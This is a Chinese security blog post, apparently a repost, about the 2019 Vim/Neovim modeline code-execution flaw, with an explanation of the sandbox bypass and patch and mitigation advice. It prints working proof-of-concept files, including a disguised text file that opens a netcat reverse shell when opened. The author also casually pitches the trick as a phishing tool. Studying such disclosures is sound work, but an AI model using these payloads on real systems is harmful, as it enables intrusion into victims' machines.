犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞。

Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞。

可以看见,他在notepad(记事本)程序下启动了一个cmd.exe

由于Ormandy是一名专业漏洞挖掘人员,并且还吸引了Zerodium的创始人出面评论,证实了黑客发现的问题类型并不罕见,因此也证实了该漏洞存在性极高。

而就在昨日,推上再现一则猛料,名为Arminius的安全研究员发现Vim/Neovim的本地代码执行漏洞。。

作为linux的上古神器级的文本编辑器,就这样曝任意代码执行漏洞并且还被披露poc了!

附上了github链接。(阅读原文跳转)

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

公布POC

第一种:

1、创建poc.txt

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

2、确保未禁用modeline选项(:set modeline)

3、在vim中打开该txt

vim poc.txt

然后系统会执行 uname -a

第二种,创建反弹shell

该PoC描述了一种真实的攻击方法,其中一旦用户打开文件就启动反弹shell。 为了隐藏攻击,文件将在打开时立即重写。

此外,当使用cat打印内容时,PoC使用终端转义序列来隐藏命令行。

(而使用cat -v可以显示实际内容。)

shell.txt:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

ps:我不是故意用记事本打开的。

视频演示

攻击者是右边,被攻击者是左边的机器

细节

命令行功能允许在文件的开头或结尾附近指定自定义编辑器选项。

默认情况下启用此功能并应用于所有文件类型,包括plain .txt。 一个典型的模式:

/* vim: set textwidth=80 tabstop=8: */

出于安全原因,在modelines中只允许选项的子集,如果选项值包含表达式,则它在沙箱中执行:

出于安全原因,不支持除“set”之外的其他命令(有人可能会使用modelines创建特洛伊木马文本文件。 并非所有选择可以设定。 对于某些选项,设置了一个标志,以便在使用时使用|沙盒| 是有效的。

https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582

沙箱旨在防止副作用:

'foldexpr','formatexpr','includeexpr','indentexpr','statusline'和'foldtext'选项可以在沙箱中评估。 这意味着你是保护免受这些具有令人讨厌的副作用的表达。 这给了一些从模式行设置这些选项时的安全性。

https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050

但是,:source!命令(使用bang [ !]修饰符)可用于绕过沙箱。它从给定文件中读取并执行命令,就像 手动键入,在沙箱离开后运行它们一样。

:so[urce]! {file}  

从{file}读取Vim命令。 这些是命令从您正常模式执行,就像您输入他们一样。

https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182

因此,可以简单地构建一个在沙箱外部运行代码的模式行:

# vim: set foldexpr=execute('\:source! some_file'):

Neovim还需要一个额外的步骤,即execute():

在这里,assert_fails()也可以使用,也需要{cmd}参数:

以下模式行使用fold表达式来运行source! %以执行当前文件,该文件又uname -a || "(garbage)"作为shell命令执行:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

此外,仅Neovim功能nvim_input()易受相同方法的影响,例如:

vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

(过去,其他与模式相关的漏洞已在Vim中修补 - 请参阅CVE-2002-1377,CVE-2016-1248。)

补丁(建议还是打一下)

  • Vim补丁8.1.1365

    https://github.com/vim/vim/commit/5357552

  • Neovim补丁(在v0.3.6中发布)

    https://github.com/neovim/neovim/pull/10082

    https://github.com/neovim/neovim/releases/tag/v0.3.6

除了修补之外,建议在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(因为补丁8.1.1366,仅限Vim)以禁用model中的表达式。

实际上,工具类的本地代码执行漏洞也不止上面几兄弟,像此前的linux的less工具同样存在代码执行漏洞

科普:less 工具是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大。less 的用法比起 more 更加的有弹性。在 more 的时候,我们并没有办法向前面翻, 只能往后面看,但若使用了 less 时,就可以使用 [pageup] [pagedown] 等按键的功能来往前往后翻看文件,更容易用来查看一个文件的内容!除此之外,在 less 里头可以拥有更多的搜索功能,不止可以向下搜,也可以向上搜。

试试吧,钓鱼利器,注意安全。

高度评估这个会用来大批量钓鱼,我赌1个亿。

感谢关注转发点赞

转载请注明来源,谢谢

<上期看点>

黑鸟威胁情报中心,只做最正确的情报,不传谣不信谣,欢迎扫码持续关注。

点击菜单栏,扫码加入每日更新的知识星球原价299,现价269

跳水台都准备好了,不点个赞再走吗

文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了相关推荐

  1. 基于qtc++设计文本编辑器的代码_文本编辑器Vim/Neovim被曝任意代码执行漏洞,Notepad:兄弟等你好久了...

    犹记前些日子,微软的记事本文本编辑器爆出了本地代码执行漏洞. Google Project Zero研究员Tavis Ormandy宣布在微软的记事本文本编辑器中发现代码执行漏洞. 可以看见,他在no ...

  2. Struts2被曝远程代码执行漏洞;叮咚买菜抢菜工具;find替代方案…|叨资讯

    点击关注强哥,还有100多G的面试资料等你来拿 哈喽,大家好,我是强哥. Struts2被曝远程代码执行漏洞:Facebook开源文本编辑器库Lexical:PyCharm 2022.1 正式发布:一 ...

  3. Apache Log4j任意代码执行漏洞安全风险通告第三次更新

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 风险通告 近日,奇安信CERT监测到Apache Log4j存在任意代码执行漏洞.经过分析,该组件存在Java JNDI注入 ...

  4. HP officejet、PageWide打印机任意代码执行漏洞cve-2017-2741 Tenable发布漏洞检测插件...

    打印机无处不在.在企业,在家里,在学校,但你在做网络安全评估的时候是否考虑过他们?你上一次更新打印机固件是什么时候?您是否知道您的打印机有公共漏洞?Tenable安全公司进行了研究,并发布了漏洞检测  ...

  5. php 168任意代码执行漏洞之php的Complex (curly) syntax

    今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php ?only=1 &show ...

  6. thinkphp日志泄漏漏洞_ThinkPHP框架任意代码执行漏洞的利用及其修复方法

    ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的.最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2 ...

  7. Apple任意代码执行漏洞

    报告编号:B6-2021-072701 报告来源:360CERT 报告作者:360CERT 更新日期:2021-07-27 0x01 漏洞简述 2021年07月27日,360CERT监测发现Apple ...

  8. 记一次海洋cms任意代码执行漏洞拿shell(url一句话)

    实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...

  9. Nette框架未授权任意代码执行漏洞分析

    Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...

最新文章

  1. SAP Hybris电子商务最新功能
  2. XState Viz 可视化和调试状态机
  3. Kubernetes学习总结(13)—— Kubernetes 各个组件的概念
  4. 机电传动控制 第一周作业
  5. UG NX 12 草图尺寸小数点怎么更改?
  6. 这是 qq整人代码 VB
  7. 【路径规划】基于matlab人工势场法机器人避障路径规划【含Matlab源码 620期】
  8. 全国哀悼日,CSS如何把整个网页黑白显示
  9. centos 7 使用certbot解决域名证书续签最佳实践
  10. 要和文心一言来一把你画我猜吗?
  11. R语言医学实例分析:代码解析
  12. win10升级补丁_微软官方给出无法安装WIN10更新的终极解决办法:覆盖安装
  13. Remix IDE的安装和使用
  14. 2018美国RSA大会专题 | 主题演讲嘉宾阵容大曝光
  15. 计算机教室网络连接简图,多媒体教室连接示意图.ppt
  16. 视频号6个涨粉方法,运营小技巧
  17. C++:string模拟实现(下)
  18. 四种方法处理“无法停止通用卷设备”
  19. HP笔记本怎么进入BIOS进行U盘装系统
  20. Python-《原神》荒海雷立方机关破解一

热门文章

  1. 《软件功能测试自动化实战教程》—第6章6.5节使用环境变量的参数化
  2. Java 数据交换格式反射机制SpringIOC原理分析
  3. 10个最好的获取免费书籍的网站
  4. 编程实战:C语言制作垃圾回收器
  5. virtualenv: error: argument dest: the destination . is not write-able at /User/de/ .virtualenvs解决方法
  6. 以太坊合并背景下的四种投资策略
  7. IEC61850笔记--开源代码libIEC61850(二)
  8. CKEditor插件的使用
  9. SpringCloud - Spring Cloud Netflix 之 Hystrix熔断器(七)
  10. 普元与达梦的多数据源配置